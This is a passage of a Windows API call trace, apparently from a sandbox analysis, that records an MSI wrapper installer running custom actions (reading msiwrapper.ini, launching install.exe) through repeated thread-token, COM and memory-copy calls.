ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.418] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.418] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.418] lstrlenW (lpString="-- CUSTOM ACTION -- SetProperty: Value=C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 130 [0149.419] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.419] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.419] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.419] GetCurrentThread () returned 0xfffffffffffffffe [0149.419] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.419] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.419] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.420] memcpy (in: _Dst=0x29f80b0, _Src=0x33bd30, _Size=0x104 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.420] memcpy (in: _Dst=0x33be60, _Src=0x29f80b0, _Size=0x104 | out: _Dst=0x33be60) returned 0x33be60 [0149.420] SetEvent (hEvent=0x170) returned 1 [0149.421] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.422] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.422] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.424] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.424] GetCurrentThread () returned 0xfffffffffffffffe [0149.424] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.424] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.424] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.424] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.425] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.426] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.426] GetCurrentThread () returned 0xfffffffffffffffe [0149.426] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.426] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.426] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.426] lstrlenW (lpString="C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 91 [0149.426] lstrlenW (lpString="BZ.INIFILE") returned 10 [0149.427] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.427] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.428] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.428] GetCurrentThread () returned 0xfffffffffffffffe [0149.428] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0149.428] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.428] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.429] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.429] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.429] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.429] GetCurrentThread () returned 0xfffffffffffffffe [0149.429] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0149.430] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0149.430] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.430] lstrlenW (lpString="-- CUSTOM ACTION -- CustomActionData: C:\\Users\\KEECFM~1\\AppData\\Local\\Temp\\MW-ed03fe6a-6d69-41db-94de-aca9dc9763e3\\msiwrapper.ini") returned 129 [0149.430] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.430] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.430] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.430] GetCurrentThread () returned 0xfffffffffffffffe [0149.430] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0149.430] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0149.430] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.431] memcpy (in: _Dst=0x29f80b0, _Src=0x33bd30, _Size=0x102 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0149.431] memcpy (in: _Dst=0x33bf90, _Src=0x29f80b0, _Size=0x102 | out: _Dst=0x33bf90) returned 0x33bf90 [0149.431] SetEvent (hEvent=0x170) returned 1 [0149.431] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.432] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.433] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.433] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.433] GetCurrentThread () returned 0xfffffffffffffffe [0149.433] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0149.434] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0149.434] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0149.434] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0149.434] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.218] CancelWaitableTimer (hTimer=0xfc) returned 1 [0150.219] WaitForSingleObject (hHandle=0xfc, dwMilliseconds=0x0) returned 0x102 [0150.219] GetProcAddress (hModule=0x7fef7830000, lpProcName="DllGetClassObject") returned 0x7fef789ebf8 [0150.219] NdrDllGetClassObject (in: rclsid=0xffbe19c8*(Data1=0xc1029, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0xffbe1988*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x19fdfb8, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0x19fdfb8*=0x0) returned 0x80040111 [0150.220] SetEvent (hEvent=0xf4) returned 1 [0150.234] DllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0x19fdda8 | out: ppv=0x19fdda8*=0x7fef7b24050) returned 0x0 [0150.234] NdrDllGetClassObject (in: rclsid=0x3287f0*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), riid=0x7fefd68d310*(Data1=0xd5f569d0, Data2=0x593b, Data3=0x101a, Data4=([0]=0xb5, [1]=0x69, [2]=0x8, [3]=0x0, [4]=0x2b, [5]=0x2d, [6]=0xbf, [7]=0x7a)), ppv=0x19fdda8, pProxyFileList=0x7fef7b22388, pclsid=0x7fef7aa6bb8*(Data1=0xc103e, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pPSFactoryBuffer=0x7fef7b24050 | out: ppv=0x19fdda8*=0x7fef7b24050) returned 0x0 [0150.235] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3c5fe8) [0150.235] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3c5fe8) [0150.235] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.235] GetCurrentThread () returned 0xfffffffffffffffe [0150.235] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1f8 | out: TokenHandle=0x19fe1f8*=0x0) returned 0 [0150.235] CoImpersonateClient () returned 0x0 [0150.235] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe1b8 | out: Pid=0x19fe1b8) returned 0x0 [0150.235] GetCurrentThread () returned 0xfffffffffffffffe [0150.235] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=1, TokenHandle=0x19fe178 | out: TokenHandle=0x19fe178*=0x3b0) returned 1 [0150.236] GetTokenInformation (in: TokenHandle=0x3b0, TokenInformationClass=0x1, TokenInformation=0x19fdff0, TokenInformationLength=0x58, ReturnLength=0x19fdfe0 | out: TokenInformation=0x19fdff0, ReturnLength=0x19fdfe0) returned 1 [0150.236] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x19fe0a0, pSourceSid=0x19fe000*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12) | out: pDestinationSid=0x19fe0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12)) returned 1 [0150.236] ConvertSidToStringSidW (in: Sid=0x19fe0a0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x12), StringSid=0x19fe090 | out: StringSid=0x19fe090*="S-1-5-18") returned 1 [0150.236] LocalFree (hMem=0x3c7cd0) returned 0x0 [0150.236] CloseHandle (hObject=0x3b0) returned 1 [0150.236] StdGlobalInterfaceTable:IGlobalInterfaceTable:RegisterInterfaceInGlobal (This=0x7fefd6ba1b0, pUnk=0x3c5fe8, riid=0x7fef7aaf4e0*(Data1=0xc1025, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pdwCookie=0x327818) [0150.236] StdGlobalInterfaceTable:IUnknown:QueryInterface (This=0x3c5fe8, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fe008) [0150.236] StdGlobalInterfaceTable:IUnknown:AddRef (This=0x3c5fe8) [0150.236] StdGlobalInterfaceTable:IGlobalInterfaceTable:GetInterfaceFromGlobal (in: This=0x7fefd6ba1b0, dwCookie=0x300, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x3c2690 | out: ppv=0x3c2690*=0x2bec570) returned 0x0 [0150.236] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fef7aab030*(Data1=0xc1033, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3c2690 | out: ppvObject=0x3c2690*=0x2bec570) returned 0x0 [0150.237] SetEvent (hEvent=0x218) returned 1 [0150.241] CoRevertToSelf () returned 0x0 [0150.241] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.241] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fe0f0 | out: ppvObject=0x19fe0f0*=0x0) returned 0x80004002 [0150.241] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666f70*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fdfc8 | out: ppvObject=0x19fdfc8*=0x0) returned 0x80004002 [0150.241] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd68d1d0*(Data1=0x1b, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fdf40 | out: ppvObject=0x19fdf40*=0x0) returned 0x80004002 [0150.241] StdGlobalInterfaceTable:IUnknown:QueryInterface (in: This=0x2bec570, riid=0x7fefd666ce0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x19fded0 | out: ppvObject=0x19fded0*=0x2bec570) returned 0x0 [0150.241] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x5 [0150.241] StdGlobalInterfaceTable:IUnknown:Release (This=0x3c5fe8) [0150.241] StdGlobalInterfaceTable:IUnknown:Release (This=0x2bec570) returned 0x4 [0150.370] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.370] GetCurrentThread () returned 0xfffffffffffffffe [0150.370] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.370] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.371] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.372] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.372] GetCurrentThread () returned 0xfffffffffffffffe [0150.372] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.372] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.372] lstrlenW (lpString="-- CUSTOM ACTION -- InstallFinish1") returned 34 [0150.373] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.373] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.373] GetCurrentThread () returned 0xfffffffffffffffe [0150.373] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.373] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.373] memcpy (in: _Dst=0x29f80b0, _Src=0x3c5a40, _Size=0x44 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.373] memcpy (in: _Dst=0x3c59d0, _Src=0x29f80b0, _Size=0x44 | out: _Dst=0x3c59d0) returned 0x3c59d0 [0150.374] SetEvent (hEvent=0x170) returned 1 [0150.374] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.378] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.465] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.465] GetCurrentThread () returned 0xfffffffffffffffe [0150.465] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.465] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.466] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.473] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.473] GetCurrentThread () returned 0xfffffffffffffffe [0150.473] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.473] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.474] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.474] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.474] GetCurrentThread () returned 0xfffffffffffffffe [0150.474] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.474] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.474] lstrlenW (lpString="-- CUSTOM ACTION -- Base name is install.exe") returned 44 [0150.475] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.475] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.475] GetCurrentThread () returned 0xfffffffffffffffe [0150.475] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.475] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.475] memcpy (in: _Dst=0x29f80b0, _Src=0x34b5c0, _Size=0x58 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.475] memcpy (in: _Dst=0x34b240, _Src=0x29f80b0, _Size=0x58 | out: _Dst=0x34b240) returned 0x34b240 [0150.476] SetEvent (hEvent=0x170) returned 1 [0150.476] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.479] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.480] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.480] GetCurrentThread () returned 0xfffffffffffffffe [0150.480] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.480] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.481] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.491] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.491] GetCurrentThread () returned 0xfffffffffffffffe [0150.491] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.491] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.491] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.492] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.492] GetCurrentThread () returned 0xfffffffffffffffe [0150.493] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.493] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.493] lstrlenW (lpString="-- CUSTOM ACTION -- Setup parameters are \"\"") returned 43 [0150.493] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.494] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.494] GetCurrentThread () returned 0xfffffffffffffffe [0150.494] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.494] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.494] memcpy (in: _Dst=0x29f80b0, _Src=0x34b5c0, _Size=0x56 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.494] memcpy (in: _Dst=0x34b540, _Src=0x29f80b0, _Size=0x56 | out: _Dst=0x34b540) returned 0x34b540 [0150.495] SetEvent (hEvent=0x170) returned 1 [0150.495] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.496] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.497] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.497] GetCurrentThread () returned 0xfffffffffffffffe [0150.497] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.497] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.497] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.507] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.507] GetCurrentThread () returned 0xfffffffffffffffe [0150.507] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.507] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.508] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.510] GetCurrentThread () returned 0xfffffffffffffffe [0150.510] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.510] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.510] lstrlenW (lpString="-- CUSTOM ACTION -- Working directory is \"\"") returned 43 [0150.510] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.511] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.511] GetCurrentThread () returned 0xfffffffffffffffe [0150.511] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.511] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.511] memcpy (in: _Dst=0x29f80b0, _Src=0x34b5c0, _Size=0x56 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.511] memcpy (in: _Dst=0x34b240, _Src=0x29f80b0, _Size=0x56 | out: _Dst=0x34b240) returned 0x34b240 [0150.511] SetEvent (hEvent=0x170) returned 1 [0150.511] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.514] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.515] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.515] GetCurrentThread () returned 0xfffffffffffffffe [0150.515] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.516] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.516] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.524] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.524] GetCurrentThread () returned 0xfffffffffffffffe [0150.524] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.524] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.524] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.525] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.525] GetCurrentThread () returned 0xfffffffffffffffe [0150.525] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a8 | out: TokenHandle=0x19fe1a8*=0x0) returned 0 [0150.526] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.526] lstrlenW (lpString="-- CUSTOM ACTION -- Current directory is *SOURCEDIR*") returned 52 [0150.526] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.526] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.526] GetCurrentThread () returned 0xfffffffffffffffe [0150.527] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe190 | out: TokenHandle=0x19fe190*=0x0) returned 0 [0150.527] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe168 | out: Pid=0x19fe168) returned 0x0 [0150.527] memcpy (in: _Dst=0x29f80b0, _Src=0x32f250, _Size=0x68 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0150.527] memcpy (in: _Dst=0x32f010, _Src=0x29f80b0, _Size=0x68 | out: _Dst=0x32f010) returned 0x32f010 [0150.527] SetEvent (hEvent=0x170) returned 1 [0150.527] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0150.529] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.530] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.530] GetCurrentThread () returned 0xfffffffffffffffe [0150.530] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1b8 | out: TokenHandle=0x19fe1b8*=0x0) returned 0 [0150.530] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe188 | out: Pid=0x19fe188) returned 0x0 [0150.531] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.539] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.539] GetCurrentThread () returned 0xfffffffffffffffe [0150.539] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0x19fe1a0 | out: TokenHandle=0x19fe1a0*=0x0) returned 0 [0150.539] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0x19fe178 | out: Pid=0x19fe178) returned 0x0 [0150.540] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.540] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0150.540] GetCurrentThread () returned 0xfffffffffffffffe [0150.540] OpenThreadToken 